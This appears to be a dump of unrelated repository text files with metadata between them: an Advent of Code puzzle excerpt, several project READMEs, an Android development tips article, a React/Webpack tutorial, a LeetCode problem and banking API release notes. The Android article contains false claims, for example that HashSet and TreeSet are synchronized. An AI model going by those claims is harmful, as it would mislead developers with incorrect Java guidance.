"No, no, a [clock signal](https://en.wikipedia.org/wiki/Clock_signal) - timing information so the antenna computer knows how to read the data you're sending it. An endless, alternating pattern of `0`, `1`, `0`, `1`, `0`, `1`, `0`, `1`, `0`, `1`...." He trails off.

You ask if the antenna can handle a clock signal at the frequency you would need to use for the data from the stars. "There's *no way* it can! The only antenna we've installed capable of *that* is on top of a top-secret Easter Bunny installation, and you're *definitely* not-" You hang up the phone.

You've extracted the antenna's clock signal generation [assembunny](12) code (your puzzle input); it looks mostly compatible with code you worked on [just recently](23).

This antenna code, being a signal generator, uses one extra instruction:

 - `out x` *transmits* `x` (either an integer or the *value* of a register) as the next value for the clock signal.

The code takes a value (via register `a`) that describes the signal to generate, but you're not sure how it's used. You'll have to find the input to produce the right signal through experimentation.

*What is the lowest positive integer* that can be used to initialize register `a` and cause the code to output a clock signal of `0`, `1`, `0`, `1`... repeating forever?

## --- Part Two ---
The antenna is ready. Now, all you need is the *fifty stars* required to generate the signal for the sleigh, but you don't have enough.

You look toward the sky in desperation... suddenly noticing that a lone star has been installed at the top of the antenna!  Only *49 more* to go.

repository: encse/adventofcode

gha_language: C#

gha_license_id: NOASSERTION

repo_name: encse/adventofcode


text:
Doko
====

A simple django template for GeoDjango-enabled applications

## Requirements

- [Vagrant](http://vagrantup.com/)
- [Fabric](http://fabfile.org)

## Getting started

Inside root directory:

- vagrant up
- fab vagrant bootstrap
- fab runserver

## Features

 - Django 1.6
 - PostgreSQL with PostGIS
 - Django bootstrapped admin
 - Werkzeug debugger
 - Django debug toolbar

## Todo

- Including cookbooks as submodules
- Perhaps adding MapBox or Google Maps javascript

repository: rodrisan/doko

repo_name: rodrisan/doko


text:
+++
title = "Blockchain Space Network"
categories = ["bc"]
tags = ["space", "network", "connection"]
weight = 78
+++

# Blockchain Space Network

---

## Mission

Empower space with the power of the blockchain

---

## Problem

- Space is an unexplored region and not proven accountable nor owned by anyone
- Unaffordable for normal people to get their hands onto the property
- Blockchain is rather saturated in the circumference of the earth

---

## Solution

- New network incentive to explore into the space for ownership
- Blockchain functionality to prove the existence of earth to the space and beyond
- Utilize the blockchain network to connect space and the earth

repository: shunkakinoki/pitch

repo_name: shunkakinoki/pitch


text:
heroku-buildpack-vips
=====================

## Disclaimer

If you don't need the `vips` binary, and you also don't need the latest version of vips, you might not need this
buildpack. Take a look [here](https://devcenter.heroku.com/articles/stack-packages) at the versions that are now
included in the Heroku stacks by default.

There are some known security issues with using outdated versions, see [this issue
comment](https://github.com/brandoncc/heroku-buildpack-vips/issues/36#issuecomment-1644417628) for more information.

## Important changes

As of August, 2023, this buildpack switched from using poppler as a PDF loader to pdfium.

## About this buildpack

A VIPS buildpack for the modern Heroku stacks. This stack supports the following
stacks:

- heroku-20
- heroku-22

If you have problems on any of these stacks, or if a new stack comes out that is
unsupported, please file an issue.

If you would like to use a build for a deprecated stack, the last versions which supported deprecated stacks
are tagged with the stack name.

Important notes:

This buildpack started out as one of the many that are out there, and ended up
being completely different. The build script uses docker and also includes pdf
support via pdfium. In order to use this buildpack, you must install these packages in your heroku application:

- libglib2.0-0
- libglib2.0-dev

Additionally, if you are planning to use [sharp](https://github.com/lovell/sharp), you may also need the following packages:
- libheif-dev
- libfftw3-dev
- libwebp-dev

The easiest way to do this is using the [heroku apt buildpack](https://github.com/heroku/heroku-buildpack-apt).

This buildpack was put together with the help of John Cupitt, the creator of
libvips. He was invaluable in my efforts to get a working libvips installation
with pdf support on heroku. Thank you John!

---

Heroku buildpack with [libvips](https://github.com/libvips/libvips) installed.

## Usage

To use this on Heroku it must be installed with the required dependencies in the required order. We must first add the
[apt buildpack](https://elements.heroku.com/buildpacks/heroku/heroku-buildpack-apt) so that it is executed first. We can
do that with the following Heroku CLI command:

```
heroku buildpacks:add --index 1 https://github.com/heroku/heroku-buildpack-apt
```

Once added, you'll need to make sure that you create a file called `Aptfile` in the root of your project. The contents of this file need to be:

```
libglib2.0-0
libglib2.0-dev
```

These are dependencies required for this buildpack.

We can then add this buildpack by running:

```
heroku buildpacks:add --index 2 https://github.com/brandoncc/heroku-buildpack-vips
```

After running this command you should see the output similar to:

```
Buildpack added. Next release on amazing-earthfest will use:
  1. heroku-community/apt
  2. https://github.com/brandoncc/heroku-buildpack-vips
  3. heroku/ruby
```

The order is important as the `apt` buildpack and its dependencies must be installed before this buildpack. Finally the
buildpack specifc to your application (in this case its the ruby buildpack) can be installed.

## Build script

[This](./build.sh) is the script used to build vips using docker.

```sh
VIPS_VERSION=x.y.z ./build.sh
```

After building a tar file, it will be copied to the `build` directory. Then you should commit this changes to git.

## Build configurations

If you would like to see the output of `vips --vips-version` or `vips --vips-config`, both can be found for each stack
in the [build/configurations](build/configurations) directory. These configuration logs are generated automatically
during the build process, so they should always be up-to-date.

repository: brandoncc/heroku-buildpack-vips

gha_language: Dockerfile

repo_name: brandoncc/heroku-buildpack-vips


text:
The purpose of this article is to facilitate android development process with helpful tips and to give insights into handy android development tips regarding android API's to avoid common mistake.

let's get started with tips first

### Data Structures With ArrayAdapter
Data structures are extremely significant and heavily used while creating adapters to display list of data to users. The parameterized constructors of [ArrayAdapter](zhttps://developer.android.com/reference/android/widget/Adapter.htmlhttps://developer.android.com/reference/android/widget/ArrayAdapter.html) either accepts array or ArrayList but if you look at the source code of ArrayAdapter then internally, it only use arrayList create from passed array by converting the array into an immutable ArrayList as

```
public ArrayAdapter(@NonNull Context context, @LayoutRes int resource, @NonNull T[] objects) {
    this(context, resource, 0, Arrays.asList(objects));
}

public ArrayAdapter(@NonNull Context context, @LayoutRes int resource,
        @IdRes int textViewResourceId, @NonNull T[] objects) {
    this(context, resource, textViewResourceId, Arrays.asList(objects));
}
```

The immutable list will not allow modification in the resultant so to level up your android development skills, you should consider to look at the source code of android APIs available [on github](https://github.com/aosp-mirror/platform_frameworks_base).

#### Things to be considered while using DataStructures

- Ordering : Often, use of `HashMap` or `HashSet` as data source with CursorAdapter or customize adapter cause issues while implementing search mechanism because they does not support ordering, instead use `LinkedHashMap` or `HashSet`.
- Synchronization : HashSet, TreeSet, and LinkedHashSet are synchronized and should not be modified by concurrent thread, instead use

```Set dataSet = Collections.synchronizedSet(new HashSet(...));
Set dataSet = Collections.synchronizedSet(new LinkedHashSet(...));
Set dataSet = Collections.synchronizedSet(new TreeSet(...));```

- Performance : TreeSet is bit slower because it requires sorting with every modification to maintain the natural order of data.

### Array
Arrays often used for being memory efficient but when the requirement is to store key-value pairs (for multi-selection list) then `HashMap` is considered as the first choice for being popular and effective but android also provides memory efficient family of `SparseArray` to store keys as `int` or `long` with values as `Object`, `Boolean`, `Integer`, `Long` as

```
API                 |  Key-Value pairs    | HashMap |
------------------- | ------------------- | ---------
ArrayMap            |  <K,V>              | HashMap< K, V>
SparseArray         |  <Integer, Object>  | HashMap<Integer, Object>
SparseBooleanArray  |  <Integer, Boolean> | HashMap<Integer, Boolean>
SparseIntArray      |  <Integer, Integer> | HashMap<Integer, Integer>
SparseLongArray     |  <Integer, Long>    | HashMap<Integer, Long>
LongSparseArray     |  <Long, Object>     | HashMap<Long, Object>
LongSparseLongArray |  <Long, Long>       | HashMap<Long, Long>
```

A `SparseIntArray` has only 3 data members to store key-value and size, on the other hand `HashMap` is quite heavy, compared to `Sparse` family though `HashMap`s are more suitable for large list.
- When to use SpareArray
  - Size of data is in range of hundreds mean ideal when size < 1000
  - To avoid auto boxing for performance
  - Keys are obtained in ascending order

e.g
```
SparseArray sparseArray = new SparseArray(); // API 1
sparseArray.put(1, “Value_1”);

SparseIntArray sparseIntArray = new SparseIntArray(); // API 1
sparseIntArray.put(1, 12);

SparseBooleanArray sparseBooleanArray = new SparseBooleanArray(); // API 1
sparseBooleanArray.put(1, true);

SparseLongArray sparseLongArray = new SparseLongArray(); // API 18
sparseLongArray.put(1, 5L);

```

> [ArrayMap](https://developer.android.com/reference/android/util/ArrayMap.html) can also be used as a replacement for `HashMap` for memory efficiency, but it's only available on API 19 and above.

### Objects class
 `Objects` is a utility class which contains many `static` helpful null-safe or null-tolerant methods for
- Computing the hash code
- Returning a string for an object
- Comparing two objects

##### Traditional approach of Generating hash code

  ```@Override
    public int hashCode() {
        int result = id != null ? id.hashCode() : 0;
        result = 31 * result + (number != null ? number.hashCode() : 0);
        result = 31 * result + (firstName != null ? firstName.hashCode() : 0);
        result = 31 * result + (lastName != null ? lastName.hashCode() : 0);
        result = 31 * result + (externalCustomerId != null ? externalCustomerId.hashCode() : 0);
        return result;
    }```

- With Object.hash

```@Override
public int hashCode() {
    return Objects.hash(number,firstName,,lastName,externalCustomerId);
}```

You can use other utility methods of `Objects` class though you have to be careful while using it because
- The `hash` method accepts `Object...` varargs as parameter so if you have too many `primitives` fields and heavy use of `hashcode` calculations then `autoboxing` can cause more performance damage
- `Objects` class was introduced in API 19(kitkat) without any backward compatibility so cannot be used for older version.

### Application and Context
The common pattern of inheritance in android is inheriting Application class or UI component classes.
In android, a single Application instance represents the process for an applications mean the application objects is kept in the memory as long as the application is alive.The lifespan of a custom application's object is equivalent to static data members which can be used to provide a single source of data(like pojo instance) where the context of application class is accessible.

All activities receives their context from application object and can also retrieve the application object using `(YourApplicationName)getApplicationContext()` to access the data members and method of customize application class. A customize application class is an easy way to crate a singleton to
- Keep the heavy object like an image, accessible with context.
- To inject behavior in application life cycle via injection. e.g. dagger.
- To place boilerplate code for cloud services.

> The customize application class needs to be registered in the manifest as

```
<application ...
		android:name = ".YourApplicaitonClassName">```

Context of an application and activity are different in terms of their lifespan so
- Use Activity's context to create objects which has short lifespan like adapter, dialogs etc.
- Every view in UI hierarchy has also access to context which can be fetched from view instance using `view.getContext()`, where the context is of host activity.

Generic : Generic provides the type-safety often used with collection framework like `ArrayList<T>`.

```
ArrayList list = new ArrayList(); // raw type list mean Object
ArrayList<String> list2 = new ArrayList<>(); String type list```

The [wildcards](https://docs.oracle.com/javase/tutorial/java/generics/wildcards.html) can also be used to add more flexibility

```
// To read objects from collection - use "extends"
int addListValues(List<? extends Number> numList) {
    int tot=0;
    for (Number num : numList) {
        tot = tot + num.intValue();
    }
    return tot;
}

// To add objects to collection - use "super"
void addMoreValues(List<? super Number> numList) {
    numList.add(11);
    numList.add(1.1);
}
    ```

- Generic plays a crucial role during parsing and conversion of json or string response to POJO objects
- Network libraries like retrofit uses many 3rd party parsing libraries which uses reflection to retrieve the object type information.
- Generic are only compile time, the type info is not available at runtime.

## Bonus
Access android developer site off-line : Yes, the official android developer site offline version comes along with the sdk which is available under `your_SDK_Location/Android/sdk/docs/index.html`.

By default the sdk location is `C:\Users\<User_Name>\AppData\Local\Android\sdk\docs\index.html` where `AppData` is a hidden directory.

# Android Studio Tools

### Java-8 features
Android studio 3.0 provides the inbuilt support for [java 8 libraries and language features](https://developer.android.com/studio/write/java8-support.html#supported_features) for API 24 without jack compiler support.

```
// lambda expression
button.setOnClickListener(
        (v)-> Toast.makeText(context, "Click", Toast.LENGTH_SHORT).show()
);
```

To enable java-8 features, add following dependencies in `build.gradle` app module

```
android {
    //.. other dependencies

    compileOptions {
        targetCompatibility 1.8
        sourceCompatibility 1.8
    }
}```

Android Studio 3.0 and later extends support for [`try-with-resources`](https://docs.oracle.com/javase/tutorial/essential/exceptions/tryResourceClose.html) to all Android API levels

### Profiler
Profile is a collection of tools to measure the app's cpu, memory and network usage in real-time. You can measure the method execution duration, capturing heap dump, memory consumption and network transmission.

> Dalvik Debug Monitor Server also known as DDMS, has been deprecated so from android 3.0 and higher, Use Android Profiler to profile your app's CPU, memory, and network usage.

The native system processes can also be tracked using [`systrace`](https://developer.android.com/studio/command-line/systrace.html) command tool to track frame drops, CPU scheduling, disk activity and threads.

Profiler is available under "click View > Tool Windows > Android Profile" option

### Device File Explorer

Device file explorer allow you to inspect the device's file system and file transmission between device and computer.
The default DDMS has a [**quite popular bug**](https://issuetracker.google.com/issues/37123176) with android nougat and above emulators where the file system is not completely accessible, hence it has been replaced with Device File Explorer.

To open, click "View > Tool Windows > Device File Explorer"

### APK Analyzer
Often the build apk file can contain surprising behavior regarding the size, code shrinking and obfuscation.
To analyze your apk, just drag and drop apk into editor screen of studio  or

Select "Build > Analyze APK" in the menu bar and then select your APK

APK Analyzer can accomplish the followings

- View the absolute and relative size of files in the APK, such as the DEX and Android resource files.
- Understand the composition of DEX files.
- Quickly view the final versions of files in the APK, such as the AndroidManifest.xml file.
- Perform a side-by-side comparison of two APKs.

### Layout-Inspector
A dynamically created hierarchy of views in layout is often time consuming and requires many attempts to set the desired layout positioning constraints. Layout inspector captures a snapshot and store it as `.li` and display it along with the attributes values of views on screen as shown below

![image](https://developer.android.com/studio/images/debug/layout-inspector-callouts_2x.png)

1. View Tree: The hierarchy of views in the layout
2. Screenshot: The device screenshot with visible boundaries for each view
3. Properties Table: The layout properties for the selected view

### Android Asset Studio
Every android application requires basic drawable resources for icons, shape shifters for back press icon, an alpha channel background icon with white overlay, nine patch icons for flexible shapes for view etc, can simply be created with [Android Asset Studio](http://romannurik.github.io/AndroidAssetStudio/)

### Webp converter
Webp is an image file format which provides lossy and transparency with better compression.

Lossy WebP images are supported in Android 4.0 (API level 14) and higher, and lossless and transparent WebP images are supported in Android 4.3 (API level 18) and higher

To create Webp images
- Select image and right click then click Convert to WebP
- Select Lossy(offers preview as well) or lossless encoding
- Click OK to apply compression

# 3rd party tools

  ### Image Loading Libraries
  There are some awesome libraries to ease-up the task of loading images from network, resources or from storage.
  - [Picasso](http://square.github.io/picasso/) is fully featured and most simplified image loading library to support recycling and download cancellation.
  - [Glide](https://github.com/bumptech/glide) is focused on smooth scrolling of image incentive list while supporting cache and Gifs.
  - [Fresco](https://github.com/facebook/fresco) is a image loading library to support webp and gif while supporting two level cache, memory and internal storage.

### Stetho
Stetho is a debug bridge for Android applications from Facebook that integrates with the Chrome desktop browser's Developer Tools. With Stetho you can easily inspect your application, most notably the network traffic. It also allows you to easily inspect and edit SQLite databases and the shared preferences in your app. You should, however, make sure that Stetho is only enabled in the debug build and not in the release build variant.

Another alternative is Chuck which, although offering slightly more simplified functionality, is still useful for testers as the logs are displayed on the device, rather than in the more complicated connected Chrome browser setup that Stetho requires.

### EventBus
[EventBus](https://github.com/greenrobot/EventBus) solves issues like communication between distant Activities, Fragments, Services, Threads etc.It is more suitable when you have the requirement to inform any component which resides deep in the hierarchy stack.

### LeakCanary
[LeakCanary](https://github.com/square/leakcanary) helps to detect memory leaks mean the allocated space of memory which no longer referenced from scope and cannot be garbage collected. A common example is inner-class threads inside activities where user can go out of the app while the thread execution continues and expects to notify the activity with updated content at the end of its execution.

### Timber
[Timer](https://github.com/JakeWharton/timber) is a logging library which is small, extensible and also provides utility on top of Android's normal Log class.

### Json 2 Pojo
Writing POJO classes for json is time consuming and boring so there are couple of online tools like [jsonschema2pojo](http://www.jsonschema2pojo.org/) which can write those POJO classes in seconds, all you need to do is paste json structure and select the options and finally press OK.


text:
# Local Setup

## Resources
* [`create-react-app`](https://github.com/facebook/create-react-app)
* [Babel Docs](https://babeljs.io/docs/en)
* [Webpack Docs](https://webpack.js.org/concepts/)
* [Webpack/Babel Tutorial (don't worry about the React stuff)](https://www.valentinog.com/blog/react-webpack-babel/)

## Introduction

Thus far, we've been using Codesandbox to create and structure our React applications. This has been good - Codesandbox is a great, user-friendly resource for creating simple React applications. However, as developers, we've got to learn how to create React applications locally.

There's just one problem. Browsers know how to read HTML, CSS, and JavaScript, but they are a bit behind the times. Specifically, they don't know how to handle most ES6 code. Also, full-scale React apps are big file structures which don't necessarily download well in the browser. Ideally, we want something to **translate our ES6 code into ES5 and condense it all into one, easily-downloadable file**.

We're going to teach you a couple of ways to do that:

* `create-react-app` - This NPM module is a great resource for getting up and running quickly. Originally conceived as a tool for hobbyists and developers looking to experiment, it's recently been re-prioritized by its developers as a tool that's capable of handling full-scale production applications. Most of the time, unless you're looking to do specific configurations/optimizations, we're going to be using this module to quickly generate, compile, and run React applications.
* From scratch, using Webpack and Babel - `create-react-app` utilizes Webpack and Babel behind the scenes, but it's still a good idea to understand, at least generally, what these modules are and how they work.

Let's get into it:

## `create-react-app`

So, in order to use `create-react-app`, start by going to your terminal and typing:

`npm install -g create-react-app`

This will install `create-react-app` globally on your machine. Then, all you should have to do is go to the directory that you want to generate an app in in your terminal and write:

`npx create-react-app my-app`

Where `my-app` is whatever you'd like your app to be named. `create-react-app` will then install and configure everything you need, including React, all accompanying modules, and Webpack and Babel, bundled in `create-react-app`'s version as `react-scripts`.

It'll also outline starting scripts for you, so all you should need to do is `cd` into your new app and type:

`npm start`

Now go to `localhost:3000` and see that sweet, sweet new app! At this point, you should be good to start developing - `create-react-app` updates as you save your work, so you shouldn't have to restart your server after `npm start`-ing.

### A Note on File Organization

After you create an app, go ahead and open it up in the text editor of your choice. We'd like you to notice the file structure here. You've got your `package.json`, `.gitignore`, and `README` files at the root level of the file structure, but beyond that, there isn't much. We've got two folders here: `src`, which contains all of our components, and `public`, which contains our single HTML file and any CSS that we might need.

There's not much more to it than that, but we wanted you to notice that, as it's a very common way to start organizing your React files - separating out your components into their own space is a good idea.

## Webpack and Babel

If you'll remember, at the beginning of these notes we outlined the problems with putting a React app in the browser. One of these was translating our ES6 code to code that's readable by Chrome or Firefox. The other was condensing our code into one file so that it can be easily downloaded. Webpack and Babel are our solutions to each of those problems:

* **Babel** is a tool that automatically converts code that you've written in ES6 to ES5. It's that simple. Some of the things we've been doing are even more advanced than ES6, so we might have to tweak it slightly, but largely, it just works.
* **Webpack** is a tool that bundles your entire project - including all of your modules, code, etc. - into small, easily-downloadable files.

### [Example Webpack/Babel App](./webpack-app)

This app is a cloned version of our ice cream checkbox app that runs locally. Feel free to download it and poke around. We're focusing on three files today:

#### `package.json`

```js
{
  "name": "webpack-test",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "start": "webpack-dev-server --open --mode development",
    "build": "webpack"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "@babel/core": "^7.0.0",
    "@babel/plugin-proposal-class-properties": "^7.0.0",
    "@babel/preset-env": "^7.0.0",
    "@babel/preset-react": "^7.0.0",
    "babel-loader": "^8.0.2",
    "css-loader": "^1.0.0",
    "html-loader": "^0.5.5",
    "html-webpack-plugin": "^3.2.0",
    "react": "^16.5.0",
    "react-dom": "^16.5.0",
    "style-loader": "^0.23.0",
    "webpack": "^4.18.0",
    "webpack-cli": "^3.1.0",
    "webpack-dev-server": "^3.1.8"
  }
}
```

We added a log of dependencies here! There's a lot that's bundled into `react-scripts` that we have to have in order to run Webpack ourselves. We also added a `start` script that runs `webpack-dev-server`, which refreshes our server when we make changes, and a `build` script, which shows us what our code would look like when it compiles in the browser. You shouldn't have to use `build` too often, but it's nice to have.

#### `.babelrc`

```js
{
  "presets": ["@babel/preset-env", "@babel/preset-react"],
  "plugins": ["@babel/plugin-proposal-class-properties"]
}
```

This file contains a very small configuration scheme for Babel. We've added a few presets such that Babel knows that it's dealing with React code, and we've added a plugin which allows us to use JavaScript classes and add functions to them in ES6 notation, which normally wouldn't allow them to use `this` properly.

#### `webpack.config.js`

```js
const HtmlWebPackPlugin = require("html-webpack-plugin");

module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        exclude: /node_modules/,
        use: {
          loader: "babel-loader"
        }
      },
      {
        test: /\.html$/,
        use: [
          {
            loader: "html-loader"
          }
        ]
      },
      {
        test: /\.css$/,
        use: [
          'style-loader', 'css-loader'
        ]
      }
    ]
  },
  plugins: [
    new HtmlWebPackPlugin({
      template: "./public/index.html",
      filename: "./index.html"
    })
  ]
};
```

In this file, we're telling Webpack how to bundle each file type that it might encounter. If you're working with other filetypes (say, images), you might have to add more `rules` to this object. Then, we use `HtmlWebPackPlugin` to indicate to Webpack where our actual HTML file is to be found.

## Takeaway: One Size Does Not Fit All

If all of this seems confusing to you, know that in the majority of cases, especially in this class, it's alright to use `create-react-app`. Webpack, especially, is a notoriously convoluted tool to configure, and depending on your needs, you might not need to get too deep into it. If you come out of this able to create your own React apps locally, no matter which strategy you use, you're doing just fine.

license: ISC

repository: RobWalker-NYC/Pursuit-Core-Web

repo_name: RobWalker-NYC/Pursuit-Core-Web


text:
# `@link1900/node-async-storage`

> Node async storage

## Install

Using npm:

```sh
npm install @link1900/node-async-storage
```

or using yarn:

```sh
yarn add @link1900/node-async-storage
```

## Usage

This a smaller wrapper around the nodejs [AsyncLocalStorage](https://nodejs.org/docs/latest-v16.x/api/async_context.html#class-asynclocalstorage) class.
It will create one main storage global that will contain a Map<string, any>. Items can be added to the map can be retrieved later in the call chain without having to pass a parameter reference.

To store a value you need to set them with a key:

```typescript
setLocalItem("requestId", 1);
```

Keys must be a string but value can be any javascript value.

Finally, to retrieve the stored value:

```typescript
getLocalItem("requestId");
// 1
```

⚠ Warning - setLocalItem() when called from a synchronous function (any non-async function) will have global state.
The best way to think about setLocalItem when called from a normal function is that you are setting a global var i.e `var key = value`.
This can lead to share memory bugs if you are not careful is how it is accessed and used.
This problem does not apply when calling from an async function.

## Examples

### Basic

```typescript
import { getLocalItem, setLocalItem } from "@link1900/node-async-storage";

function run() {
  setLocalItem("someKey", { requestId: 1, context: "other" });
  exampleServiceCall();
}

function exampleServiceCall() {
  console.log(getLocalItem("someKey"));
  // logs { requestId: 1, context: "other" }
}
```

### Multiple values

```typescript
import { getLocalItem, setLocalItem } from "@link1900/node-async-storage";

async function run() {
  setLocalItem("trace", { requestId: 1 });
  setLocalItem("context", "step 1");
  await exampleServiceCall();
}

async function exampleServiceCall() {
  setLocalItem("context", "step 2");
  await exampleRepositoryCall();
}

async function exampleRepositoryCall() {
  console.log(getLocalItem("trace"));
  // { requestId: 1 }
  console.log(getLocalItem("context"));
  // "step 2"
}
```

### Trace logging in express example

Note: this example uses a middleware helper from node-express package.
For a guide on using the trace middleware helper please see [node express readme](../node-express/README.MD)

```typescript
import express from "express";
import { logger } from "@link1900/node-logger-api";
import { applyTraceMiddleware } from "@link1900/node-express";

const app = express();
app.use(applyTraceMiddleware());

// call with a header x-od-trace-id
app.get("/example", (req, res) => {
  logger.info("log should have trace ids");
  res.json({ success: true });
});

app.listen({ port: 3000 }, () => {
  console.info(`🚀 Server ready`);
});
```

gha_language: TypeScript


text:
---
title: "Product"
---

{{< components/sub-hero
	backgroundImg="mysticetus-product.png"
>}}

{{< components/sub-hero
	size="small"
	centered="true"
	title="Mysticetus Technical Services"
	subTitle="Mysticetus Technical Services augments your IT bandwidth"
	text="We do software. Services such as project management and review, software development, cloud solutions, hardware integration, data visualization, GDPR compliance to name a few, we do it all. Leverage our extensive software stack and experience to address your technical gaps."
	buttonText="Let's discuss your needs"
	buttonUrl="/demo/"
	bold="true"
>}}

{{< components/feature-highlight
	title="Software and Hardware Development Services"
	subTitle="Augment your Research and Development - Clear critical technical debt"
	text="You know that high-tech project you just can't get to because everything else is on fire? Yeah. That one. We can help. Mysticetus has the background and capacity to fill your short term needs: data visualization, app development, GDPR compliant cloud solutions, database development, system throughput scaling. AWS and Azure. Github, Netlify, Hugo/Jekyll. This ain't our first high-tech rodeo."
	image="project-planning-technical-services-mysticetus.png"
	imagePosition="left"

>}}

{{< components/feature-highlight
	title="Techincal Services to validate your team's technological readiness"
	subTitle="Unprepared mitigation teams will be present poorly and be expensive"
	text="Are your Protected Species Observers (PSOs) good to go? Let us assess, fine-tune, and validate they are ready to go before sailing. Electronic gear ready? Team fully trained? Ship's systems providing adequate support? Let us stop by and confirm team readiness before they sail."
	image="Dockside-technical-services-Mysticetus.jpg"
	imagePosition="right"

>}}

{{< components/feature-highlight
	title="Independent Review of Critical Projects"
	subTitle="Comprehenisive Verification and Validation of Complex - or out of control - Projects"
	text="We know how to create and deploy technology. We've spent our lives doing just that. Redefining a project's path to success is, frankly, hard - and depends on blunt, actionable feedback. We can review, assess, and help in the recovery of an project and reign in costs. Unlike internal teams, we don't have a horse in your corporate race. We'll tell it like it is so you can make the hard decisions."
	image="Independent-Verification-Validation-Project-Review-MTS-Mysticetus.png"
	imagePosition="left"

>}}

{{< components/sub-hero
	static="true"
	size="small"
	centered="true"
	title="Request a Conversation"
	subTitle="Let's discuss how Mysticetus can augment your technical investments."
	bold="true"
>}}

{{< components/demo-form >}}

repository: mysticetus-inc/dotcom

repo_name: mysticetus-inc/dotcom


text:
# Terraform::AWS::OrganizationsPolicyAttachment

Provides a resource to attach an AWS Organizations policy to an organization account, root, or unit.

## Properties

`PolicyId` - (Required) The unique identifier (ID) of the policy that you want to attach to the target.

`TargetId` - (Required) The unique identifier (ID) of the root, organizational unit, or account number that you want to attach the policy to.

## See Also

* [aws_organizations_policy_attachment](https://www.terraform.io/docs/providers/aws/r/organizations_policy_attachment.html) in the _Terraform Provider Documentation_


text:
# Webdriver Helper

## Configuration

```yaml
# File: tests/acceptance.suite.yml
...
modules:
  enabled:
    - WebDriver
    - \Helper\Acceptance
    - \Jeckel\Gherkin\WebdriverContext:
        depends:
          - WebDriver
```

## Featured steps

This steps are mapped to original `Webdriver Module` functions. See full [Codeception Webdriver documentation](https://codeception.com/docs/modules/WebDriver).

**List of steps already implemented in this helper:**
```gherkin
  Feature: List steps
    Given I am on url "url"
    Given I am on page "page"
    Given I am on homepage
    When I make screenshot "name"
    When I resize window to "width" and "height"
    When I click "link"
    When I fill field "field" with "value"
    When I submit form "form"
    Then I should see "text"
    Then I should not see "text"
    Then I should see in source
"""
lorem ipsume...
"""
    Then I should not see in source
"""
lorem ipsume...
"""
    Then I should see link "link"
    Then I should see link "link" with url "url"
    Then I should not see link "link"
    Then I should not see link "link" with url "url"
    Then I should see in current url "uri"
    Then I should not see in current url "uri"
    Then I should see current url equals "uri"
    Then I should not see current url equals "uri"
    Then I should see current url matches "uri"
    Then I should not see current url matches "uri"
```

repository: jeckel/codeception-gherkin-contexts

gha_language: PHP

repo_name: jeckel/codeception-gherkin-contexts


text:
Given a binary tree  **where every node has a unique value**, and a target key  `k`, find the value of the nearest leaf node to target  `k`  in the tree.

Here,  _nearest_  to a leaf means the least number of edges travelled on the binary tree to reach any leaf of the tree. Also, a node is called a  _leaf_  if it has no children.

In the following examples, the input tree is represented in flattened form row by row. The actual  `root`  tree given will be a TreeNode object.

**Example 1:**

**Input:**
root = [1, 3, 2], k = 1
Diagram of binary tree:
1
/ \
3   2

**Output:** 2 (or 3)

**Explanation:** Either 2 or 3 is the nearest leaf node to the target of 1.

**Example 2:**

**Input:**
root = [1], k = 1
**Output:** 1

**Explanation:** The nearest leaf node is the root node itself.

**Example 3:**

**Input:**
root = [1,2,3,4,null,null,null,5,null,6], k = 2
Diagram of binary tree:
1
/ \
2   3
/
4
/
5
/
6

**Output:** 3
**Explanation:** The leaf node with value 3 (and not the leaf node with value 6) is nearest to the node with value 2.

**Note:**

1.  `root`  represents a binary tree with at least  `1`  node and at most  `1000`  nodes.
2.  Every node has a unique  `node.val`  in range  `[1, 1000]`.
3.  There exists some node in the given binary tree for which  `node.val == k`.

url: https://raw.githubusercontent.com/gurfinkel/leetCode/ba41e63e12bee7cfe4e91966771077cdf765b598/problems/Closest Leaf in a Binary Tree/findClosestLeaf.md

repository: gurfinkel/leetCode

repo_name: gurfinkel/leetCode


text:
# Release notes v. 1.17

## Bugfix: not able to retrieve the payment by redirect id when psu-id is not set in the initial request
When retrieving the payment by redirect id (endpoint GET /psu-api/v1/pis/consent/redirects/{redirect-id} in consent-management) now there is no need
to provide psu data and the payment can be retrieved without it, only by redirect id and instance id.

This also applies for getting payment for cancellation (endpoint GET /psu-api/v1/payment/cancellation/redirect/{redirect-id} in consent-management)

## Bugfix: Remove PSU Data from endpoint for getting consent by redirect id in CMS-PSU-API
PSU Data is no longer required for getting consent by redirect id.
As a result, headers `psu-id`, `psu-id-type`, `psu-corporate-id` and `psu-corporate-id-type` are no longer used in `psu-api/v1/ais/consent/redirect/{redirect-id}` endpoint.
PsuIdData was also removed as an argument from `de.adorsys.psd2.consent.psu.api.CmsPsuAisService#checkRedirectAndGetConsent` method.

## Delete old 'tpp demo'
Deleted extra functional in 'tpp-demo' package

## Support of multiple SCA approaches
ASPSP can support several SCA approaches, so now XS2A Interface supports multiple SCA approaches also.
ASPSP profile was extended with list of approaches (in order of priority - first one with the highest priority) instead of one single approach.

| Option                                   | Meaning                                                                                | Default value |
|------------------------------------------|--------------------------------------------------------------------------------------------------------|---------------|
| scaApproaches                            | List of SCA Approach supported by ASPSP ordered by priority                                            |  - REDIRECT   |
|                                          |                                                                                |  - EMBEDDED   |
|                                          |                                                                                |  - DECOUPLED  |

Choice of SCA approaches depends on header parameter in payment,consent or signing basket initiation request - `TPP-Redirect-Preferred`. For Payment Cancellation parameter "TPP-Redirect-Preferred" is not used.
If `TPP-Redirect-Preferred` is true and ASPSP supports REDIRECT approach, then `REDIRECT` approach is used. Otherwise first approach in ASPSP-profile option `scaApproaches` is used.

## Bugfix: remove discrepancies between not null constraints in migration files and constraints in Java classes
There were some discrepancies between not null constraints specified in liquibase migration files and constraints specified in Java classes that were removed.
Now tables created via generated DDL should have the same constraints as the tables created via liquibase.

Attention: if you've bypassed the CMS and inserted some records into `pis_payment_data` table with `common_payment_id`
column set to `null` directly, you'll have to assign some value to this column before updating the database.

## Provide endpoint to export AIS consents by aspspAccountId from CMS to ASPSP
By accessing endpoint GET `/aspsp-api/v1/ais/consents/account/{account-id}` (or corresponding method in `CmsAspspAisExportService.java`)
one can export AIS Consents that contain certain account id. Method `exportConsentsByAccountId` now implemented and working.

## Implemented java interface and endpoint to save Account Access object in Consent by Online banking
Now by accessing `/psu-api/v1/ais/consent/{consent-id}/save-access` endpoint(or corresponding method in `CmsPsuAisService.java`)
online banking can update AccountAccess (along with `aspspAccountId` and `resourceId` if necessary), frequency per day and expiration date in consent.

## Bugfix: Additional payment products work only with "pain-" prefix

